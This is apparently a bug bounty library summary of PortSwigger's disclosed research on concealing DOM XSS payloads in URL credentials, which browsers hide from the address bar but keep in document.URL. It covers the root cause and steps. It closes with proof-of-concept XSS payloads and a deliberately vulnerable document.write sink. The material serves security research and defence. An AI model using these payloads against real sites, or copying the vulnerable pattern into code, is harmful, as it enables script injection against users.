# Concealing payloads in URL credentials

URL credentials are hidden in the address bar but persist in document.URL, letting attackers conceal DOM XSS payloads and clobber anchor username/password properties in Chrome and Firefox.

- Payout: Research
- Program: Google
- Write-up by: PortSwigger Research
- Disclosed: 2024-10-23
- Write-up quality: 8/10
- Original: https://portswigger.net/research/concealing-payloads-in-url-credentials
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-concealing-payloads-in-url-credentials
- Tags: area:os domain:browser kind:research platform:research tech:chromium tech:firefox technique:chained technique:fuzzing technique:js-analysis vuln:xss

**Target:** Browser URL parsing and DOM properties (document.URL, location, anchor username/password)
**Root cause:** document.URL retains the credentials portion of the URL while location strips it, and browsers hide credentials from the address bar; Firefox additionally does not URL-encode single quotes in credentials.
**Steps:**
1. Observe `document.URL` returns `https://foo:bar@portswigger-labs.net/` while `location` returns `https://portswigger-labs.net/`
2. Load `https://alert(1)@portswigger-labs.net` with `<img src onerror=alert(URL.slice(8,16))>` to extract the payload from credentials
3. For DOM XSS where query/hash are stripped, use Firefox payload `https://'-alert(1)-'@example.com` against code like `document.write(`<script>const url='${getBase(document.URL)}';<\/script>`)`
4. Clobber anchor properties: visit `https://clobbered@example.com` then `<a href=# onclick=alert(username)>` reads the credential
5. Combine with DOM clobbering: `https://user:pass@example.com` with `<a href id=x>` then `eval(x.username)` yields `user`
**How found:** Built on Johan Carlsson's prior discovery of concealing payloads in URL credentials; noticed document.URL and location diverged, then fuzzed with Shazzer to find which characters Firefox leaves unencoded in credentials (single quotes).
**Exploitation:** Attacker delivers a crafted URL (via redirect or user navigation) whose credentials section carries a payload invisible in the address bar; victim-side JS reading document.URL or anchor username/password properties executes or exposes it, enabling DOM XSS or clobbering.
**Escalation:** Chaining credential concealment with DOM clobbering to control objects exposing username/password properties, and bypassing query/hash stripping filters.
**Insight:** When auditing DOM sinks, check document.URL separately from location — credentials survive same-origin navigation and are hidden from the address bar, so payloads there evade URL-based filters; also test anchor username/password inheritance from relative links.

## Proof of concept (copied exactly from the original report)

**Firefox single-quote DOM XSS via URL credentials**

```
function getBase(url) {
 return url.split(/[?#]/)[0];
}
document.write(`<script>const url='${getBase(document.URL)}';<\/script>`);
To exploit this you need to provide the payload in the credentials part on Firefox like this:

https://'-alert(1)-'@example.com
```

**Anchor username/password clobbering via credentials**

```
https://user:pass@example.com
<a href id=x>test</a>
<script>
eval(x.username)//user
eval(x.password)//pass
```

**document.URL retains credentials payload**

```
https://alert(1)@portswigger-labs.net
<img src onerror=alert(URL.slice(8,16))>Grab payload from credentials
```

